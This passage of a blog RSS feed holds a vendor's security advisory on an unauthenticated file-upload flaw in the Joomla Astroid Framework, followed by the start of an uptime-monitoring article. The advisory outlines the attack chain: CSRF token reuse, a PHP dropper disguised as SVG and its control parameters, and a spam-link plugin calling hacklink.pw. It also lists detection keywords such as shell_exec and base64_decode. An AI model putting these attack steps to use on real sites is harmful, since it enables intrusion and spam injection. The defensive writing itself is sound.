&lt;p&gt;For the complete auto-update strategy, see our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>auto-updates</category><category>site management</category><enclosure url="https://mysites.guru/_astro/stop-automatic-updates-wordpress.iP36Nqa7.png" length="0" type="image/png"/></item><item><title>Astroid Framework Vulnerability - What Happened and How to Check Your Joomla Site</title><link>https://mysites.guru/blog/astroid-framework-security-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/astroid-framework-security-vulnerability/</guid><description>CVE-2026-21628 (CVSS 10.0) - Astroid Framework for Joomla had a critical auth bypass letting attackers upload backdoors. What happened and what to do.</description><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://astroidframe.work/&quot;&gt;Astroid Framework&lt;/a&gt; for Joomla has a critical authentication bypass vulnerability (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0) that attackers are actively exploiting. They&apos;re using it to install backdoor plugins and inject hidden SEO spam links into affected sites.&lt;/p&gt;
&lt;p&gt;If your Joomla site runs the Astroid Framework, check it now. If you already know your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, skip to our recovery guide.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-21628&lt;/strong&gt; - CVSS 10.0 critical auth bypass in every Astroid Framework version before 3.3.11&lt;/li&gt;
&lt;li&gt;Attackers grab a CSRF token from the public login page and use it to upload backdoors and install SEO spam plugins - no login required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;Astroid 3.3.13&lt;/a&gt;&lt;/strong&gt; immediately (3.3.11 had regressions, 3.3.12 fixed those, 3.3.13 adds further bug fixes and dependency updates)&lt;/li&gt;
&lt;li&gt;Check your plugin manager for &lt;strong&gt;BLPayload&lt;/strong&gt; / &lt;strong&gt;BL Payload&lt;/strong&gt; plugins and delete any &lt;code&gt;plg_jcp_*.html&lt;/code&gt; files in &lt;code&gt;/administrator/cache/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Already compromised? Updating alone won&apos;t help - the backdoors stay. &lt;a href=&quot;#what-do-you-need-to-do-right-now&quot;&gt;Full cleanup steps below&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;This post relates to the wave of Astroid Framework attacks in late February and early March 2026. The vulnerability (&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot; class=&quot;text-amber-900 underline dark:text-amber-200&quot;&amp;gt;CVE-2026-21628&amp;lt;/a&amp;gt;, CVSS 10.0 Critical) was publicly reported on 4 March 2026 and patched in version 3.3.11 on 5 March 2026. If you haven&apos;t updated since then, your site is at risk.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What happened?&lt;/h2&gt;
&lt;p&gt;The vulnerability was in &lt;code&gt;library/astroid/Admin.php&lt;/code&gt;, the file that handles all AJAX requests for the Astroid Framework&apos;s admin interface.&lt;/p&gt;
&lt;p&gt;The code used Joomla&apos;s &lt;code&gt;checkToken()&lt;/code&gt; function to verify CSRF tokens, but it never checked whether the person sending the request was actually logged in as an administrator. The CSRF token from the public &lt;code&gt;/administrator&lt;/code&gt; login page was enough to authenticate any request.&lt;/p&gt;
&lt;p&gt;That meant an attacker could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit the Joomla admin login page and grab the CSRF token from the HTML&lt;/li&gt;
&lt;li&gt;Send requests to the Astroid AJAX endpoint using that token&lt;/li&gt;
&lt;li&gt;Upload files, rename them, and install extensions, all without ever logging in&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The fix in version 3.3.11 added a &lt;code&gt;checkAdminAuth()&lt;/code&gt; method that verifies the user has &lt;code&gt;core.manage&lt;/code&gt; permission for &lt;code&gt;com_templates&lt;/code&gt; before processing any request. Basic authorization checking that should have been there from the start.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Every version of Astroid before 3.3.11 is vulnerable&lt;/strong&gt;, including all versions from the original JoomDev era. Sites running Joomla 5 and Joomla 6 are both affected - reports from the &lt;a href=&quot;https://joomlaforum.ch/joomla6-erweiterungen/39320-seltsame-plugins-allenfalls-gehackte-joomla-6-seite&quot;&gt;Swiss Joomla forum&lt;/a&gt; and the &lt;a href=&quot;https://forum.joomla.fr/forum/joomla-5-x/questions-g%C3%A9n%C3%A9rales-ab/2073894-hack&quot;&gt;French Joomla forum&lt;/a&gt; confirm compromised Joomla 6.0.3 and Joomla 5.4.3 installations respectively.&lt;/p&gt;
&lt;h2&gt;What are the attackers installing?&lt;/h2&gt;
&lt;p&gt;The attack is a two-stage process: a dropper, then a payload.&lt;/p&gt;
&lt;h3&gt;Stage 1: the dropper&lt;/h3&gt;
&lt;p&gt;The attacker uploads a PHP file disguised as an SVG image through the Astroid AJAX endpoint. The file looks harmless to basic file type checks because it ends with valid SVG markup, but the PHP code runs first.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Inside the dropper is a base64-encoded ZIP archive containing the actual payload plugin. The dropper accepts URL parameters that control the installation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?go&lt;/code&gt; extracts the ZIP to &lt;code&gt;/plugins/system/blpayload/&lt;/code&gt;, reads your Joomla &lt;code&gt;configuration.php&lt;/code&gt; to grab the database credentials, then writes directly to the &lt;code&gt;extensions&lt;/code&gt; table. It registers itself as enabled with ordering 9999 (highest priority) so it runs before everything else.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?check&lt;/code&gt; confirms the payload was successfully installed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?del&lt;/code&gt; deletes the dropper itself to cover the attacker&apos;s tracks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The dropper also cleans up after an earlier variant called &lt;code&gt;jcachepro&lt;/code&gt;, deleting it from both the database and filesystem. This tells us the attack has evolved through at least two generations. Reports from the Swiss Joomla forum confirm both &lt;code&gt;jcachepro&lt;/code&gt; and &lt;code&gt;blpayload&lt;/code&gt; have been found side by side on compromised sites, so don&apos;t assume the dropper always cleans up after itself.&lt;/p&gt;
&lt;p&gt;We&apos;ve also seen dropper files with randomized filenames like &lt;code&gt;blp_9948.php&lt;/code&gt;, &lt;code&gt;blr_6661.php&lt;/code&gt;, and &lt;code&gt;astroid_poc_[random].php&lt;/code&gt; dropped into the &lt;code&gt;/images/&lt;/code&gt; directory. The &lt;code&gt;astroid_poc&lt;/code&gt; variant was first spotted on February 24, a full week before the mass exploitation wave began on March 1. Check your media folders, not just the plugin directories.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s suspect content scanner flags the &lt;code&gt;install.php&lt;/code&gt; file with 11 pattern matches, including the SQL query that force-enables the plugin at priority 9999:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Stage 2: the payload plugins&lt;/h3&gt;
&lt;p&gt;Once the dropper runs, you end up with malicious system plugins installed in Joomla:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ve seen them registered as &lt;strong&gt;System - BLPayload&lt;/strong&gt; (v7.0.0) and &lt;strong&gt;System - BL Payload&lt;/strong&gt; (v1.0.6). Both run at priority 9999 and execute on every single page load.&lt;/p&gt;
&lt;h3&gt;What the payload does&lt;/h3&gt;
&lt;p&gt;On every frontend request, the plugin contacts &lt;code&gt;hacklink.pw&lt;/code&gt;, a black-market SEO platform. It fetches a list of hidden spam links -- gambling, phishing, crypto scam sites -- and injects them into your page HTML. The links are hidden from visitors using CSS positioning (&lt;code&gt;left:-9999px; visibility:hidden&lt;/code&gt;) but fully visible to search engine crawlers.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s suspect content scanner flags the &lt;code&gt;blpayload.php&lt;/code&gt; file itself, showing the API call to &lt;code&gt;hacklink.pw&lt;/code&gt;, the cache file generation, and even an &lt;code&gt;$aggressiveness&lt;/code&gt; setting the attacker can control remotely:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The plugin caches its output locally as HTML files in &lt;code&gt;/administrator/cache/&lt;/code&gt; with filenames like &lt;code&gt;plg_jcp_aa6cb959d0c3810149132dc8485b0016.html&lt;/code&gt;. These cache files keep serving spam even when the external server goes down.&lt;/p&gt;
&lt;p&gt;The attackers are riding on your domain&apos;s reputation to boost their own sites in search results.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru detect this?&lt;/h2&gt;
&lt;p&gt;mySites.guru catches this from two angles: the vulnerable framework file itself and the payloads left behind by attackers.&lt;/p&gt;
&lt;h3&gt;Vulnerable framework files&lt;/h3&gt;
&lt;p&gt;Our audit system matches the md5 hash of &lt;code&gt;library/astroid/Admin.php&lt;/code&gt; against known vulnerable versions. If your site has an old, unpatched copy of this file, mySites.guru flags it as a confirmed hacked file. No false positives -- each hash was verified against the vulnerable source code.&lt;/p&gt;
&lt;h3&gt;Malicious payload plugins and cache files&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; picks up the BLPayload plugin files and the &lt;code&gt;plg_jcp_*.html&lt;/code&gt; cache files in &lt;code&gt;/administrator/cache/&lt;/code&gt;. Here&apos;s what a compromised site looks like after an audit -- the &lt;code&gt;install.php&lt;/code&gt; dropper, dozens of &lt;code&gt;plg_blpayload_*&lt;/code&gt; and &lt;code&gt;plg_jcp_*&lt;/code&gt; cache files, all flagged as &quot;Hacked File&quot;:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Not sure what you&apos;re looking at in a flagged file? Our &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can review it with one click and tell you exactly what it does.&lt;/p&gt;
&lt;h2&gt;Which of your sites are affected?&lt;/h2&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, this is where things get stressful. You need to know which sites have the Astroid Framework installed, and you need to know right now, not after logging into each one individually.&lt;/p&gt;
&lt;p&gt;This is exactly the kind of situation mySites.guru was built for. Every extension on every connected site is indexed and searchable. One URL gives you the full list:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/5387fe79896108bb1da21df6008e1f4c&quot;&gt;View all your sites with Astroid Framework installed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That page shows every site in your account running this framework, with the version number, so you can see at a glance which ones still need updating. No logging into 50 admin panels. No spreadsheets. No guessing which client sites might be using an Astroid-based template. You can also use the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;Active Theme and Template List&lt;/a&gt; to see every site&apos;s active template at a glance and export the full list as CSV.&lt;/p&gt;
&lt;p&gt;When a vulnerability like this drops, knowing which sites are affected in 10 seconds means you can patch before the attackers get there - not after they already have.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your sites. The extension index builds automatically on the first audit.&lt;/p&gt;
&lt;h2&gt;What do you need to do right now?&lt;/h2&gt;
&lt;h3&gt;1. Update the Astroid Framework to 3.3.13&lt;/h3&gt;
&lt;p&gt;Download it from the &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;official release page&lt;/a&gt; and install it through your Joomla extension manager. This closes the vulnerability and includes all bug fixes since the initial patch. If you manage multiple sites, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the update to all of them at once&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Quick version history since the patch: 3.3.11 (5 March) fixed the vulnerability but had video background and mega menu width regressions. 3.3.12 (6 March) fixed those regressions. &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;3.3.13&lt;/a&gt; (15 March) fixes GSAP plugin loading errors, improves touch device navigation and mega menu behavior, adds section/column height controls and a stagger animation toggle, and updates Font Awesome to 7.2.0, LenisJS to 1.3.18, and Fancybox to 6.1. No additional security changes - 3.3.11 already has the full CVE-2026-21628 fix.&lt;/p&gt;
&lt;h3&gt;2. Check for installed payload plugins&lt;/h3&gt;
&lt;p&gt;Open your Joomla plugin manager and search for &quot;BLPayload&quot; or &quot;BL Payload&quot;. If you find either one, your site was compromised. Uninstall them immediately. With mySites.guru you can &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;search installed extensions across all your sites&lt;/a&gt; to find every instance in seconds.&lt;/p&gt;
&lt;h3&gt;3. Clear the administrator cache&lt;/h3&gt;
&lt;p&gt;Look in &lt;code&gt;/administrator/cache/&lt;/code&gt; for any files matching &lt;code&gt;plg_jcp_*.html&lt;/code&gt; or &lt;code&gt;plg_blpayload_*.html&lt;/code&gt;. Delete them.&lt;/p&gt;
&lt;h3&gt;4. Run a full security audit&lt;/h3&gt;
&lt;p&gt;If you have a &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; account, run an audit now. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; will scan every file in your webspace and flag anything suspicious.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have an account, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your site. The audit runs automatically.&lt;/p&gt;
&lt;h3&gt;5. Check for additional backdoors&lt;/h3&gt;
&lt;p&gt;Attackers who got in through this vulnerability may have installed more than just the BLPayload plugin. Look for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The earlier variant &lt;code&gt;jcachepro&lt;/code&gt; in &lt;code&gt;/plugins/system/jcachepro/&lt;/code&gt; (the current dropper tries to clean this up, but it may still be present)&lt;/li&gt;
&lt;li&gt;SVG files in &lt;code&gt;/administrator/&lt;/code&gt; or media folders that contain PHP code (the droppers disguise themselves as SVG images)&lt;/li&gt;
&lt;li&gt;PHP files in &lt;code&gt;/images/&lt;/code&gt;, &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, or &lt;code&gt;/logs/&lt;/code&gt; where they don&apos;t belong - look specifically for &lt;code&gt;blp_*.php&lt;/code&gt;, &lt;code&gt;blr_*.php&lt;/code&gt;, and &lt;code&gt;astroid_poc_*.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;Unfamiliar admin user accounts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Other unknown plugins, especially system plugins&lt;/li&gt;
&lt;li&gt;Files containing &lt;code&gt;eval(&lt;/code&gt;, &lt;code&gt;base64_decode(&lt;/code&gt;, &lt;code&gt;shell_exec(&lt;/code&gt;, or &lt;code&gt;system(&lt;/code&gt; calls&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file change monitoring&lt;/a&gt; will alert you in real time if any watched files are modified after cleanup.&lt;/p&gt;
&lt;h3&gt;6. Change all passwords&lt;/h3&gt;
&lt;p&gt;Change your Joomla admin password, database password, FTP credentials, and hosting panel login. If attackers had admin-level access, assume they saw everything.&lt;/p&gt;
&lt;h3&gt;7. Check Google Search Console&lt;/h3&gt;
&lt;p&gt;The hidden link injection may have already affected your search rankings. Check Google Search Console for manual actions or unusual coverage changes. If spam backlinks are indexed, use Google&apos;s Disavow Tool.&lt;/p&gt;
&lt;h2&gt;What are the technical details?&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628&lt;/a&gt; with a CVSS 4.0 score of &lt;strong&gt;10.0 Critical&lt;/strong&gt; and classified under &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt; (Unrestricted Upload of File with Dangerous Type). The full vector string: &lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y&lt;/code&gt; - network-exploitable, no privileges required, no user interaction needed, with high impact across confidentiality, integrity, and availability.&lt;/p&gt;
&lt;p&gt;The Astroid Framework&apos;s &lt;code&gt;Admin.php&lt;/code&gt; handled all AJAX operations for template management through protected methods like &lt;code&gt;save()&lt;/code&gt;, &lt;code&gt;media()&lt;/code&gt;, &lt;code&gt;getLayouts()&lt;/code&gt;, &lt;code&gt;search()&lt;/code&gt;, &lt;code&gt;clearCache()&lt;/code&gt;, and &lt;code&gt;installTemplate()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Each of these methods checked for a valid CSRF token with &lt;code&gt;Session::checkToken()&lt;/code&gt;, but none of them verified that the requesting user was an authenticated administrator with appropriate permissions. The CSRF token is meant to prevent cross-site request forgery from authenticated sessions. It was never designed to be the only authentication check.&lt;/p&gt;
&lt;p&gt;The token from the login form is embedded in the page HTML and accessible to anyone who can view the page. Using it as the sole authentication mechanism is like checking that someone has a key to the building&apos;s front door but never asking if they&apos;re actually an employee.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/templaza/astroid-framework/commit/db068db99f4ec62923305b5f402393d3ad11bab5&quot;&gt;fix&lt;/a&gt; adds a single authorization check before each sensitive operation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$user = Factory::getApplication()-&amp;gt;getIdentity();
if (!$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)) {
    throw new \Exception(&apos;You are not authorized to access this page.&apos;, 403);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard Joomla ACL. It should have been there all along.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (March 31, 2026):&lt;/strong&gt; The same problem keeps showing up. &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; shipped with ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; in Joomla core, alongside the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework (CVE-2026-21627)&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 (CVE-2026-3098)&lt;/a&gt; disclosures earlier this month. That&apos;s four AJAX authorization failures in March 2026 alone, across plugins and core. If you build Joomla extensions, audit your &lt;code&gt;com_ajax&lt;/code&gt; handlers now.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (April 7, 2026):&lt;/strong&gt; And it happened again, this time on WordPress. &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads (CVE-2026-0740)&lt;/a&gt; disclosed on April 6: CVSS 9.8 unauthenticated arbitrary file upload in an &lt;code&gt;admin-ajax.php&lt;/code&gt; handler, around 50,000 affected sites. The vendor even shipped a first patch that did not actually fix it - only 3.3.27 closes the hole. Same pattern as Astroid, different platform.&lt;/p&gt;
&lt;h2&gt;Want someone to clean it up for you?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets cleaned, upgraded, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Vulnerability&lt;/a&gt; - CVE-2026-21627 (CVSS 9.5) follows the same pattern: a shared Joomla framework plugin with unauthenticated AJAX endpoints, affecting 8,297 sites across our dataset&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Arbitrary File Read&lt;/a&gt; - CVE-2026-3098 on WordPress, same root cause: AJAX nonce without capability check&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - CVSS 9.8 unauthenticated RCE in a WordPress plugin &lt;code&gt;admin-ajax.php&lt;/code&gt; handler affecting around 50,000 sites, with a failed first patch that only shipped the real fix in 3.3.27&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all disclosed vulnerabilities in the same month, showing how widespread the problem is across the WordPress ecosystem&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 / 6.0.4 release&lt;/a&gt; - Joomla core itself needed &lt;code&gt;com_ajax&lt;/code&gt; ACL hardening, same class of bug&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;Joomla TinyMCE Editor Broken in Firefox 148&lt;/a&gt; - Another recent Joomla incident where the Mass Upgrade tool let agencies push a fix to every site at once&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628 on NVD&lt;/a&gt; - official vulnerability entry (CVSS 10.0 Critical)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21628&quot;&gt;CVE-2026-21628 on CVE.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;Astroid Framework 3.3.13 release&lt;/a&gt; - latest version with GSAP fix, touch navigation improvements, and dependency updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.12&quot;&gt;Astroid Framework 3.3.12 release&lt;/a&gt; - first stable patched version (fixed 3.3.11 regressions)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/commit/db068db99f4ec62923305b5f402393d3ad11bab5&quot;&gt;Fix commit on GitHub&lt;/a&gt; - the authorization check that was missing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomlaforum.ch/joomla6-erweiterungen/39320-seltsame-plugins-allenfalls-gehackte-joomla-6-seite&quot;&gt;Swiss Joomla forum thread&lt;/a&gt; - early reports of compromised Joomla 6 sites (German)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.joomla.fr/forum/joomla-5-x/questions-g%C3%A9n%C3%A9rales-ab/2073894-hack&quot;&gt;French Joomla forum thread&lt;/a&gt; - reports of compromised Joomla 5 sites (French)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - how Astroid, Novarain, Smart Slider 3, and Joomla core all share the same AJAX authorization failure&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For a broader look at CMS security, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>hack detection</category><category>astroid</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/astroid-framework-vulnerability.DAl6lpSw.png" length="0" type="image/png"/></item><item><title>Why you&apos;re getting downtime alerts (and why they matter)</title><link>https://mysites.guru/blog/uptime-monitoring-explained/</link><guid isPermaLink="true">https://mysites.guru/blog/uptime-monitoring-explained/</guid><description>How uptime monitoring works, what triggers downtime alerts when your site seems fine, and how to monitor hundreds of sites from a single dashboard.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You&apos;ve probably had this experience: an email lands from mySites.guru telling you a site is down, you open it in your browser, and it loads perfectly. Frustrating.&lt;/p&gt;
&lt;p&gt;But think about it from the other direction. Our server tried to reach your site three separate times and couldn&apos;t. If we can&apos;t get through, there&apos;s a decent chance your visitors couldn&apos;t either during that window.&lt;/p&gt;
&lt;h2&gt;How do the monitoring checks work?&lt;/h2&gt;
&lt;p&gt;Every 5 minutes, our &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;custom-built monitoring engine&lt;/a&gt; checks each of your connected sites. We don&apos;t fire off an alert on the first failed request. Instead, we run three checks before we tell you anything:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;We send a HEAD request to your site with a 45-second timeout. If it responds with a success code, we mark it as up and move on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the first check fails, we wait 10 seconds and send another HEAD request. This catches momentary blips like a slow database query or a brief resource spike.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the second check also fails, we wait another 10 seconds and send a full GET request. Some servers handle HEAD and GET differently, so the final check switches methods to rule that out.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We only send a downtime alert if all three checks fail.&lt;/p&gt;
&lt;p&gt;In the worst case, where each request hits the full 45-second timeout, we&apos;ve spent over two minutes trying to reach your site before alerting you. In practice, failed requests usually fail fast (connection refused, DNS error), so the whole thing takes well under a minute.&lt;/p&gt;
&lt;p&gt;When your site comes back, we pick that up on the next check cycle and send you a recovery notification.&lt;/p&gt;
&lt;h2&gt;Why do you get alerts when your site &quot;seems fine&quot;?&lt;/h2&gt;
&lt;p&gt;You check from your browser and it loads. So why are we saying it&apos;s down? There are a few common causes.&lt;/p&gt;
&lt;h3&gt;Your host is blocking our IP address&lt;/h3&gt;
&lt;p&gt;This is the most common one. Hosting providers run firewalls and intrusion detection systems (ModSecurity, Fail2Ban, Imunify360) that automatically block IP addresses making repeated requests. If your sites are &lt;a href=&quot;https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/&quot;&gt;behind a corporate firewall&lt;/a&gt;, the same thing can happen. Our monitor hits your site every 5 minutes from the same IP, and some security tools decide that&apos;s suspicious and block us.&lt;/p&gt;
&lt;p&gt;The block might be temporary, lasting a few minutes to a few hours, or permanent until someone removes it manually. If you see your site going down and coming back up in a pattern, a temporary block is almost certainly what&apos;s happening.&lt;/p&gt;
&lt;h3&gt;Your server is briefly overloaded&lt;/h3&gt;
&lt;p&gt;Servers have finite resources. During traffic spikes, heavy cron jobs, backup processes, or plugin updates, there may not be enough capacity to handle new requests for a few seconds. If our check lands during that window, all three attempts can fail.&lt;/p&gt;
&lt;p&gt;This is especially common on shared hosting where your sites compete with other customers for the same resources. A full &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk partition&lt;/a&gt; can cause the same kind of failure.&lt;/p&gt;
&lt;h3&gt;DNS resolution failures&lt;/h3&gt;
&lt;p&gt;If your domain&apos;s DNS servers are slow or temporarily unavailable, we can&apos;t resolve your domain to an IP address, and the check fails before it even reaches your server. Less common, but it happens, particularly with budget DNS providers.&lt;/p&gt;
&lt;h3&gt;SSL/TLS handshake failures&lt;/h3&gt;
&lt;p&gt;An &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;expired or misconfigured SSL certificate&lt;/a&gt;, or an overloaded TLS stack, will cause the secure connection to fail before any page content gets exchanged. We treat that as a failed check.&lt;/p&gt;
&lt;h2&gt;What happens when all your sites go down at once?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of sites and they all show as offline at the same time, it&apos;s almost never a coincidence.&lt;/p&gt;
&lt;p&gt;When all your sites live on the same server, they share a single point of failure. If that server has a problem, every site on it goes unreachable at once. Common causes:&lt;/p&gt;
&lt;ul&gt;
